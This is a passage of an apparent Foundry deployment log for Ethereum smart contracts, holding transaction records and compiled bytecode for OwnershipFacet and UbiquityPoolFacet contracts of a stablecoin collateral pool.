1f82011682018060405250810190611c6e9190612247565b73ffffffffffffffffffffffffffffffffffffffff16145b611cec576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f4d47523a20434f494e5f4f524445525f4d49534d4154434800000000000000006044820152606401610724565b60408051808201918290526001547f70a0823100000000000000000000000000000000000000000000000000000000909252306044820152600091819073ffffffffffffffffffffffffffffffffffffffff166370a0823160648301602060405180830381865afa158015611d65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d899190612264565b81526040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015260209091019073ffffffffffffffffffffffffffffffffffffffff8a16906370a0823190602401602060405180830381865afa158015611dfb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e1f9190612264565b9052600980547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8a8116919091179091556040517f0c3e4b54000000000000000000000000000000000000000000000000000000008152919250851690630c3e4b5490611eab908490600090339060040161229f565b6020604051808303816000875af1158015611eca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eee9190612264565b50505050505050505050565b6000611f4382611f08611f4c565b6000868152602091909152604090209073ffffffffffffffffffffffffffffffffffffffff8116600090815260018301602052604081205415155b90505b92915050565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00611f9b60017f7a9158dd65ad6382295fd9a8aad0a64b5d99867a77a0a1b2bc38a4f50be8bd776122f4565b1692915050565b73ffffffffffffffffffffffffffffffffffffffff81168114611fc457600080fd5b50565b600060208284031215611fd957600080fd5b8135611fe481611fa2565b9392505050565b60008060408385031215611ffe57600080fd5b823561200981611fa2565b9150602083013561201981611fa2565b809150509250929050565b600080600080600060a0868803121561203c57600080fd5b853561204781611fa2565b9450602086013561205781611fa2565b9350604086013561206781611fa2565b94979396509394606081013594506080013592915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60005b838110156120c95781810151838201526020016120b1565b50506000910152565b6000602082840312156120e457600080fd5b815167ffffffffffffffff808211156120fc57600080fd5b818401915084601f83011261211057600080fd5b8151818111156121225761212261207f565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f011681019083821181831017156121685761216861207f565b8160405282815287602084870101111561218157600080fd5b6121928360208301602088016120ae565b979650505050505050565b600081518084526121b58160208601602086016120ae565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b600073ffffffffffffffffffffffffffffffffffffffff808916835260c0602084015261221760c084018961219d565b8381036040850152612229818961219d565b91909616606084015260808301949094525060a00152949350505050565b60006020828403121561225957600080fd5b8151611fe481611fa2565b60006020828403121561227657600080fd5b5051919050565b60006020828403121561228f57600080fd5b81518015158114611fe457600080fd5b60808101818560005b60028110156122c75781518352602092830192909101906001016122a8565b50505083604083015273ffffffffffffffffffffffffffffffffffffffff83166060830152949350505050565b81810381811115611f46577f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fdfea26469706673582212204f9ccdf644aef54406cccef94ed16de7be826020fe145183708fadc9e6eaef4e64736f6c63430008130033", + "nonce": "0x450", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0xd1ab4e2ee714a62be280b18b1c04b8a2e6ec63eddf8990e0bb88de7c70bc1a03", + "transactionType": "CREATE", + "contractName": "OwnershipFacet", + "contractAddress": "0x58860e93b6fc7a6e4abd0f5d851a88654a34d0c0", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "gas": "0x51752", + "value": "0x0", + "input": "0x608060405234801561001057600080fd5b506103b5806100206000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80638da5cb5b1461003b578063f2fde38b1461006c575b600080fd5b610043610081565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b61007f61007a366004610302565b610090565b005b600061008b61014c565b905090565b73ffffffffffffffffffffffffffffffffffffffff8116610138576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603460248201527f4f776e65727368697046616365743a204e6577206f776e65722063616e6e6f7460448201527f20626520746865207a65726f206164647265737300000000000000000000000060648201526084015b60405180910390fd5b610140610175565b61014981610227565b50565b60006101566102ac565b6004015473ffffffffffffffffffffffffffffffffffffffff16919050565b61017d6102ac565b6004015473ffffffffffffffffffffffffffffffffffffffff163314610225576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f4c69624469616d6f6e643a204d75737420626520636f6e7472616374206f776e60448201527f6572000000000000000000000000000000000000000000000000000000000000606482015260840161012f565b565b60006102316102ac565b60048101805473ffffffffffffffffffffffffffffffffffffffff8581167fffffffffffffffffffffffff000000000000000000000000000000000000000083168117909355604051939450169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3505050565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff006102fb60017fc8fcad8db84d3cc18b4c41d551ea0ee66dd599cde068d998e57d5e09332c131c61033f565b1692915050565b60006020828403121561031457600080fd5b813573ffffffffffffffffffffffffffffffffffffffff8116811461033857600080fd5b9392505050565b81810381811115610379577f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b9291505056fea264697066735822122005e30e5b5f63f7d5488f6ee88a05c89f44fcab3a4df62b42203c04b65f73be4f64736f6c63430008130033", + "nonce": "0x451", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0x3c4a05d831ee1a3f2d1afe2e53a3b1be5104618b35cb1216941e43419072d49c", + "transactionType": "CREATE", + "contractName": "UbiquityPoolFacet", + "contractAddress": "0xb64f2347752192f51930ad6ad3bea0b3a2074fac", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "gas": "0x529630", + "value": "0x0", + "input": "0x608060405234801561001057600080fd5b50614a8e806100206000396000f3fe608060405234801561001057600080fd5b50600436106101f05760003560e01c80639aae55a71161010f578063b98c9fe6116100a2578063de858d7c11610071578063de858d7c14610446578063ecfd1a9e14610459578063edc8d27d1461046c578063edecef951461047f57600080fd5b8063b98c9fe6146103eb578063c4cb35cf146103f3578063cbd4e7b414610420578063cec10c111461043357600080fd5b80639d202bf8116100de5780639d202bf8146103aa578063a14d1f78146103bd578063aeaf4f04146103d0578063b4eae1cb146103e357600080fd5b80639aae55a7146103485780639b52b9a81461035b5780639b94607c1461038f5780639c494373146103a257600080fd5b80637853c8881161018757806381f174671161015657806381f17467146102f857806382ae27cd1461030d57806387dcd5fb1461032d57806392beb0421461034057600080fd5b80637853c888146102975780637e625a55146102aa5780637efc918f146102d257806381060163146102e557600080fd5b80632ed4d2d6116101c35780632ed4d2d61461025657806330bbe585146102695780635b0bdd8a1461027c5780636060663e1461028457600080fd5b8063040da685146101f557806317b2bffa1461020a5780632287fe4014610230578063245cd97314610243575b600080fd5b6102086102033660046140d5565b6104ad565b005b61021d610218366004614105565b610517565b6040519081526020015b60405180910390f35b61021d61023e366004614147565b610528565b61021d610251366004614162565b610533565b610208610264366004614147565b610546565b610208610277366004614147565b6105a9565b61021d610609565b610208610292366004614105565b610618565b6102086102a536600461418c565b610678565b6102bd6102b83660046141ae565b6106d9565b60408051928352602083019190915201610227565b6102086102e03660046141e0565b610770565b6102086102f3366004614162565b6107d7565b610300610838565b604051610227919061421c565b61032061031b366004614147565b610842565b60405161022791906142e4565b61021d61033b36600461418c565b6108f1565b61021d6108fd565b610208610356366004614105565b610907565b610363610910565b6040805173ffffffffffffffffffffffffffffffffffffffff9093168352602083019190915201610227565b61020861039d366004614147565b610923565b61021d610983565b6102bd6103b8366004614105565b61098d565b6102086103cb366004614162565b610a1e565b6102086103de366004614105565b610a7f565b61021d610adf565b610363610ae9565b6103fb610af4565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610227565b61020861042e366004614105565b610afe565b6102086104413660046143f9565b610b5e565b6102086104543660046141e0565b610bc0565b61020861046736600461418c565b610c22565b61020861047a366004614105565b610c83565b61049261048d366004614433565b610c8c565b60408051938452602084019290925290820152606001610227565b6104b8600033610d0f565b6105095760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e0000000060448201526064015b60405180910390fd5b6105138282610d32565b5050565b600061052282610ed9565b92915050565b600061052282610fbf565b600061053f8383610ff9565b9392505050565b610551600033610d0f565b61059d5760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610500565b6105a68161103f565b50565b6105b4600033610d0f565b6106005760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610500565b6105a68161119f565b600061061361122e565b905090565b610623600033610d0f565b61066f5760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610500565b6105a6816114dc565b610683600033610d0f565b6106cf5760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610500565b6105138282611573565b6000805481907ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0161074d5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610500565b600260005561075e868686866115c4565b60016000559097909650945050505050565b61077b600033610d0f565b6107c75760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610500565b6107d2838383611b7c565b505050565b6107e2600033610d0f565b61082e5760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610500565b6105138282611f44565b6060610613611fd3565b6108e8604051806101c001604052806000815260200160608152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160001515815260200160008152602001600081526020016000815260200160001515815260200160001515815260200160001515815260200160008152602001600081525090565b6105228261204c565b600061053f83836124a6565b600061061361251a565b6105a6816127de565b60008061091b612a88565b915091509091565b61092e600033610d0f565b61097a5760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610500565b6105a681612ac1565b6000610613612b43565b6000805481907ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01610a015760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610500565b6002600055610a0f83612bea565b60016000559094909350915050565b610a29600033610d0f565b610a755760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610500565b6105138282612ed4565b610a8a600033610d0f565b610ad65760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610500565b6105a681612f63565b6000610613613025565b60008061091b61303a565b6000610613613073565b610b09600033610d0f565b610b555760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610500565b6105a68161309e565b610b69600033610d0f565b610bb55760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610500565b6107d28383836130e2565b610bcb600033610d0f565b610c175760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610500565b6107d283838361317d565b610c2d600033610d0f565b610c795760405162461bcd60e51b815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610500565b61051382826132ee565b6105a681613358565b60008060006002600080015403610ce55760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610500565b6002600055610cf88989898989896135e1565b6001600055919b909a509098509650505050505050565b600061053f82610d1d613b63565b60008681526020919091526040902090613bb9565b6000610d3c613be8565b90508160ff16600003610dc257806016018381548110610d5e57610d5e614488565b90600052602060002090602091828204019190069054906101000a900460ff1615816016018481548110610d9457610d94614488565b90600052602060002090602091828204019190066101000a81548160ff021916908315150217905550610e98565b8160ff16600103610e1857806017018381548110610de257610de2614488565b90600052602060002090602091828204019190069054906101000a900460ff1615816017018481548110610d9457610d94614488565b8160ff16600203610e9857806015018381548110610e3857610e38614488565b90600052602060002090602091828204019190069054906101000a900460ff1615816015018481548110610e6e57610e6e614488565b90600052602060002090602091828204019190066101000a81548160ff0219169083151502179055505b6040805184815260ff841660208201527fbec79b11b630e33aa3659219a5b4daa7afe827632aa430038e143137f8fe947c91015b60405180910390a1505050565b600080610ee4613be8565b905061053f816011018481548110610efe57610efe614488565b9060005260206000200154826001018581548110610f1e57610f1e614488565b6000918252602090912001546040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff909116906370a0823190602401602060405180830381865afa158015610f95573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb991906144b7565b90613c37565b600080610fca613be8565b73ffffffffffffffffffffffffffffffffffffffff9093166000908152600f9093016020525050604090205490565b600080611004613be8565b73ffffffffffffffffffffffffffffffffffffffff949094166000908152600e90940160209081526040808620948652939052505090205490565b73ffffffffffffffffffffffffffffffffffffffff81166110a25760405162461bcd60e51b815260206004820152601560248201527f5a65726f206164647265737320646574656374656400000000000000000000006044820152606401610500565b60008173ffffffffffffffffffffffffffffffffffffffff16639c84d0f56040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110ef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111391906144b7565b9050600061111f613be8565b73ffffffffffffffffffffffffffffffffffffffff84166000818152602083815260409182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016600117905590519182529192507f52f81308a3d2d4628c2f3d497cfa085e5607381f7880df16645d1bffd1f3804d9101610ecc565b60006111a9613be8565b73ffffffffffffffffffffffffffffffffffffffff83166000818152602083815260409182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016905590519182529192507f2aa8eaa3c2488ba6ac1471de9d1eb0fc21ad69b649415dbdf94467ca4559a21691015b60405180910390a15050565b600080600061123b613be8565b9050600081601b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000808273ffffffffffffffffffffffffffffffffffffffff1663feaf968c6040518163ffffffff1660e01b815260040160a060405180830381865afa1580156112b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112d891906144ea565b5093505092505060008373ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa15801561132c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611350919061453a565b60ff169050600083136113a55760405162461bcd60e51b815260206004820152601860248201527f496e76616c696420537461626c652f55534420707269636500000000000000006044820152606401610500565b601c8501546113b48342614586565b106114015760405162461bcd60e51b815260206004820152601560248201527f5374616c6520537461626c652f555344206461746100000000000000000000006044820152606401610500565b60088601546040517f687276530000000000000000000000000000000000000000000000000000000081526000600482018190529173ffffffffffffffffffffffffffffffffffffffff1690636872765390602401602060405180830381865afa158015611473573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149791906144b7565b90506114d0670de0b6b3a76400006114ca6114b385600a6146b9565b6114ca886114c487620f4240613c43565b90613c43565b90613c4f565b97505050505050505090565b620f424081111561152f5760405162461bcd60e51b815260206004820152601a60248201527f436f6c6c61746572616c20726174696f20746f6f206c617267650000000000006044820152606401610500565b6000611539613be8565b600681018390556040518381529091507f8a77c775772f19a095a743319ccdc8208b70389844786995a8ca94a4f6a8dd0290602001611222565b600061157d613be8565b600c8101849055600d810183905560408051858152602081018590529192507f08f944f25b910c541435bcde52d233072e903b37afc29bc8b5787b6e74d82c1a9101610ecc565b6000808560006115d2613be8565b90508060080160008260010184815481106115ef576115ef614488565b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff16835282019290925260400190205460ff166116705760405162461bcd60e51b815260206004820152601360248201527f436f6c6c61746572616c2064697361626c6564000000000000000000000000006044820152606401610500565b600061167a613be8565b905080601701898154811061169157611691614488565b60009182526020918290209181049091015460ff601f9092166101000a900416156116fe5760405162461bcd60e51b815260206004820152601360248201527f52656465656d696e6720697320706175736564000000000000000000000000006044820152606401610500565b80600d015461170b61122e565b11156117595760405162461bcd60e51b815260206004820152601560248201527f446f6c6c617220707269636520746f6f206869676800000000000000000000006044820152606401610500565b60006117a1620f42406114ca61179a856014018e8154811061177d5761177d614488565b9060005260206000200154620f4240613c3790919063ffffffff16565b8c90613c43565b90506117ac8a613358565b6006820154620f424081106117d0576117c58b836124a6565b965060009550611837565b806000036117fb57600096506117f46117e761251a565b6114ca84620f4240613c43565b9550611837565b611810620f42406114ca836114c48f876124a6565b965061183461181d61251a565b6114ca61182d620f424085613c37565b8590613c43565b95505b61186f836011018c8154811061184f5761184f614488565b9060005260206000200154846001018d81548110610f1e57610f1e614488565b8711156118be5760405162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420706f6f6c20636f6c6c61746572616c000000006044820152606401610500565b8787101561190e5760405162461bcd60e51b815260206004820152601360248201527f436f6c6c61746572616c20736c697070616765000000000000000000000000006044820152606401610500565b8886101561195e5760405162461bcd60e51b815260206004820152601360248201527f476f7665726e616e636520736c697070616765000000000000000000000000006044820152606401610500565b336000908152600e8401602090815260408083208e84529091529020546119859088613c5b565b336000908152600e8501602090815260408083208f84529091529020556011830180546119d79189918e9081106119be576119be614488565b9060005260206000200154613c5b90919063ffffffff16565b836011018c815481106119ec576119ec614488565b6000918252602080832090910192909255338152600f85019091526040902054611a169087613c5b565b336000908152600f850160205260409020556012830154611a379087613c5b565b6012840155336000908152600b840160205260408120439055600101546040517f79cc6790000000000000000000000000000000000000000000000000000000008152336004820152602481018c905273ffffffffffffffffffffffffffffffffffffffff909116906379cc679090604401600060405180830381600087803b158015611ac357600080fd5b505af1158015611ad7573d6000803e3d6000fd5b50505050611ae3600090565b600b01546040517f40c10f190000000000000000000000000000000000000000000000000000000081523060048201526024810188905273ffffffffffffffffffffffffffffffffffffffff909116906340c10f1990604401600060405180830381600087803b158015611b5657600080fd5b505af1158015611b6a573d6000803e3d6000fd5b50505050505050505094509492505050565b611b8583613c67565b15611bd25760405162461bcd60e51b815260206004820152601860248201527f436f6c6c61746572616c20616c726561647920616464656400000000000000006044820152606401610500565b6000611bdc613be8565b60018181018054918201815560009081526020808220830180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8a1690811790915580835260028501825260408084208590556008860183529283902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016905582517f313ce567000000000000000000000000000000000000000000000000000000008152925194955092936009860193611d0193909263313ce567926004808401938290030181865afa158015611cd2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf6919061453a565b60129060ff16613c37565b81546001810183556000928352602083200155604080517f95d89b410000000000000000000000000000000000000000000000000000000081529051600785019273ffffffffffffffffffffffffffffffffffffffff8916926395d89b4192600480830193928290030181865afa158015611d80573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201604052611dc691908101906146f4565b81546001810183556000928352602090922090910190611de69082614855565b505060118101805460018082018355600092835260208084209092018390556005840180548083018255908452828420620f42409101556013840180548083018255908452828420018390556014840180548083018255908452828420018390556016840180548083018255908452828420838204018054601f92831661010090810a60ff908102199092169092556017870180548086018255908752858720868204018054918516840a830219909116905560158701805480860182559087528587208682040180549190941690920a0219169055600a840180548083018255908452828420019490945560038301805480860182559083528183200180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff96909616959095179094556004909101805492830181558152919091206201518091015550565b6000611f4e613be8565b601b810180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8616908117909155601c820184905560408051918252602082018590529192507f78293bd51057152112290a42345ccd9387562eac811030334ea757f4d49bdd239101610ecc565b60606000611fdf613be8565b6001810180546040805160208084028201810190925282815293945083018282801561204157602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff168152600190910190602001808311612016575b505050505091505090565b6120f2604051806101c001604052806000815260200160608152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160001515815260200160008152602001600081526020016000815260200160001515815260200160001515815260200160001515815260200160008152602001600081525090565b60006120fc613be8565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260088201602052604090205490915060ff166121765760405162461bcd60e51b815260206004820152601260248201527f496e76616c696420636f6c6c61746572616c00000000000000000000000000006044820152606401610500565b60008160020160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050604051806101c001604052808281526020018360070183815481106121e3576121e3614488565b9060005260206000200180546121f8906147b4565b80601f0160208091040260200160405190810160405280929190818152602001828054612224906147b4565b80156122715780601f1061224657610100808354040283529160200191612271565b820191906000526020600020905b81548152906001019060200180831161225457829003601f168201915b505050505081526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018360030183815481106122ac576122ac614488565b6000918252602091829020015473ffffffffffffffffffffffffffffffffffffffff1682526004850180549290910191849081106122ec576122ec614488565b6000918252602080832090910154835273ffffffffffffffffffffffffffffffffffffffff881682526008860181526040918290205460ff161515908301526009850180549190920191908490811061234757612347614488565b9060005260206000200154815260200183600501838154811061236c5761236c614488565b9060005260206000200154815260200183600a01838154811061239157612391614488565b906000526020600020015481526020018360160183815481106123b6576123b6614488565b90600052602060002090602091828204019190069054906101000a900460ff16151581526020018360170183815481106123f2576123f2614488565b90600052602060002090602091828204019190069054906101000a900460ff161515815260200183601501838154811061242e5761242e614488565b90600052602060002090602091828204019190069054906101000a900460ff161515815260200183601301838154811061246a5761246a614488565b9060005260206000200154815260200183601401838154811061248f5761248f614488565b906000526020600020015481525092505050919050565b6000806124b1613be8565b90506125128160050185815481106124cb576124cb614488565b90600052602060002001546114ca8360090187815481106124ee576124ee614488565b9060005260206000200154600a61250591906146b9565b6114ca87620f4240613c43565b949350505050565b600080612525613be8565b905060008160180160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000808273ffffffffffffffffffffffffffffffffffffffff1663feaf968c6040518163ffffffff1660e01b815260040160a060405180830381865afa15801561259e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125c291906144ea565b5093505092505060008373ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015612616573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061263a919061453a565b60ff1690506000831361268f5760405162461bcd60e51b815260206004820152600d60248201527f496e76616c6964207072696365000000000000000000000000000000000000006044820152606401610500565b601985015461269e8342614586565b106126eb5760405162461bcd60e51b815260206004820152600a60248201527f5374616c652064617461000000000000000000000000000000000000000000006044820152606401610500565b60006127086126fb83600a6146b9565b6114ca86620f4240613c43565b9050600086601a0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166386fc88d36040518163ffffffff1660e01b8152600401602060405180830381865afa15801561277b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061279f91906144b7565b905060006127b9826114ca670de0b6b3a764000080613c43565b90506127d1670de0b6b3a76400006114ca8386613c43565b9850505050505050505090565b60006127e8613be8565b3360009081526020829052604090205490915060ff1661284a5760405162461bcd60e51b815260206004820152601160248201527f4e6f7420616e20414d4f204d696e7465720000000000000000000000000000006044820152606401610500565b6000612854613be8565b905060003373ffffffffffffffffffffffffffffffffffffffff1663fe93de1f6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156128a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128c791906144b7565b90508160150181815481106128de576128de614488565b60009182526020918290209181049091015460ff601f9092166101000a9004161561294b5760405162461bcd60e51b815260206004820152601360248201527f426f72726f77696e6720697320706175736564000000000000000000000000006044820152606401610500565b81600801600083600101838154811061296657612966614488565b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff16835282019290925260400190205460ff166129e75760405162461bcd60e51b815260206004820152601360248201527f436f6c6c61746572616c2064697361626c6564000000000000000000000000006044820152606401610500565b6129f081610ed9565b841115612a3f5760405162461bcd60e51b815260206004820152601a60248201527f4e6f7420656e6f756768206672656520636f6c6c61746572616c0000000000006044820152606401610500565b612a823385846001018481548110612a5957612a59614488565b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff169190613d62565b50505050565b6000806000612a95613be8565b601881015460199091015473ffffffffffffffffffffffffffffffffffffffff90911694909350915050565b6000612acb613be8565b601a810180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff85169081179091556040519081529091507fdac3a48dff76eec0a284b649cfb07035804ede2892dbaf7e72050756144fbb8c90602001611222565b600080612b4e613be8565b600181015460009350909150825b81811015612be457612bc6620f42406114ca856005018481548110612b8357612b83614488565b90600052602060002001546114c4876009018681548110612ba657612ba6614488565b9060005260206000200154600a612bbd91906146b9565b6114c487610ed9565b612bd0908561496f565b935080612bdc81614982565b915050612b5c565b50505090565b600080826000612bf8613be8565b9050806008016000826001018481548110612c1557612c15614488565b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff16835282019290925260400190205460ff16612c965760405162461bcd60e51b815260206004820152601360248201527f436f6c6c61746572616c2064697361626c6564000000000000000000000000006044820152606401610500565b6000612ca0613be8565b9050806017018681548110612cb757612cb7614488565b60009182526020918290209181049091015460ff601f9092166101000a90041615612d245760405162461bcd60e51b815260206004820152601360248201527f52656465656d696e6720697320706175736564000000000000000000000000006044820152606401610500565b6010810154336000908152600b830160205260409020544391612d479190613c5b565b10612d945760405162461bcd60e51b815260206004820152601e60248201527f546f6f20736f6f6e20746f20636f6c6c65637420726564656d7074696f6e00006044820152606401610500565b336000908152600f82016020526040812054819015612ddf57336000908152600f84016020526040812080549190556012840154909750612dd59088613c37565b6012840155600191505b336000908152600e8401602090815260408083208b845290915290205415612e8057336000908152600e8401602090815260408083208b845290915281208054919055601184018054919750612e5b918891908b908110612e4257612e42614488565b9060005260206000200154613c3790919063ffffffff16565b836011018981548110612e7057612e70614488565b6000918252602090912001555060015b8115612eaa57600b54612eaa9073ffffffffffffffffffffffffffffffffffffffff163389613d62565b8015612eca57612eca3387856001018b81548110612a5957612a59614488565b5050505050915091565b6000612ede613be8565b6018810180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff86169081179091556019820184905560408051918252602082018590529192507fe6bcf4a564a699a1c83d282eab21db81fe3ef3c3f867c402e63d074bb77925ff9101610ecc565b6000612f6d613be8565b90506000816001018381548110612f8657612f86614488565b60009182526020808320919091015473ffffffffffffffffffffffffffffffffffffffff16808352600885018252604092839020805460ff808216157fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0090921682179092558451888152911615159281019290925292507f088e9476d8b4139e22c8e66b078291edda3cd924ce0b0e7193f2a38e293e70ee9101610ecc565b600080613030613be8565b6006015492915050565b6000806000613047613be8565b601b810154601c9091015473ffffffffffffffffffffffffffffffffffffffff90911694909350915050565b60008061307e613be8565b601a015473ffffffffffffffffffffffffffffffffffffffff1692915050565b60006130a8613be8565b601081018390556040518381529091507f8902fd14f40c20383dcae5d0f2b3b06b9973c89cac3e900cf9a999830277e8e690602001611222565b60006130ec613be8565b90508281601301858154811061310457613104614488565b90600052602060002001819055508181601401858154811061312857613128614488565b600091825260209182902001919091556040805186815291820185905281018390527f01bae858246c904512695a3f6d48ab88abb7a0192fdd7c53b043e60317795f459060600160405180910390a150505050565b61318683613c67565b6131d25760405162461bcd60e51b815260206004820152601960248201527f436f6c6c61746572616c20646f6573206e6f74206578697374000000000000006044820152606401610500565b60006131dc613be8565b73ffffffffffffffffffffffffffffffffffffffff8516600090815260028201602052604090205460038201805492935090918591908390811061322257613222614488565b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508282600401828154811061328057613280614488565b600091825260209182902001919091556040805183815273ffffffffffffffffffffffffffffffffffffffff87169281019290925281018490527f9c42f4d9153d55d78cf2011cd58875a5b9a8b1a30b7d0e7857d4fd69300161229060600160405180910390a15050505050565b60006132f8613be8565b90508181600a01848154811061331057613310614488565b90600052602060002001819055507f4cb99f07bf9ab5f864d81d791709058819f4188481fb3c70b90a1765e003b16e8383604051610ecc929190918252602082015260400190565b6000613362613be8565b9050600081600301838154811061337b5761337b614488565b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000808273ffffffffffffffffffffffffffffffffffffffff1663feaf968c6040518163ffffffff1660e01b815260040160a060405180830381865afa1580156133f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061341a91906144ea565b5093505092505060008373ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa15801561346e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613492919061453a565b60ff169050600083136134e75760405162461bcd60e51b815260206004820152600d60248201527f496e76616c6964207072696365000000000000000000000000000000000000006044820152606401610500565b8460040186815481106134fc576134fc614488565b906000526020600020015482426135139190614586565b106135605760405162461bcd60e51b815260206004820152600a60248201527f5374616c652064617461000000000000000000000000000000000000000000006044820152606401610500565b60006135706126fb83600a6146b9565b90508086600501888154811061358857613588614488565b90600052602060002001819055507f16374e3dc228b497b5a